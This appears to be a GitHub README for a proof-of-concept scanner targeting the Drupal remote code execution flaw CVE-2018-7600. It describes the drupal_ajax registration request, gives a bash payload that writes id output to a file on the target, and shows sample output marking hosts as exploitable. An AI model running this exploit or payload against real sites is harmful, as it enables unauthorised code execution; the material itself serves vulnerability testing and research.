Proof-Of-Concept for CVE-2018-7600 / SA-CORE-2018-002 [](https://codebeat.co/projects/github-com-thehappydinoa-cve-2018-7600-main)

July 18, 2023 ยท View on GitHub

Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.

How it works

  1. It sends a packet to the drupal_ajax wrapper to register a user. Allows user to use the exec markup and run bash. This PoC sends a the user name and id to abcde.txt.

    echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee abcde.txt

  2. Checks http*://example.com/abcde.txt

    [!] PROVIDED ONLY FOR EDUCATIONAL OR INFORMATION PURPOSES.
[?] Enter file name (example: /root/file/hosts.txt): hosts.txt
[+] https://example.com/ Possibly exploitable
[~] Checking... https://example.com/abcde.text
[+] https://example.com/ Exploitable
[+] UID: 33 Name: www-data
[+] Deleting... https://example.com/abcde.text

Payloads

%s = file name

User ID, PID, and Group Payload

echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee %s

Thanks to

Provided only for educational or information purposes.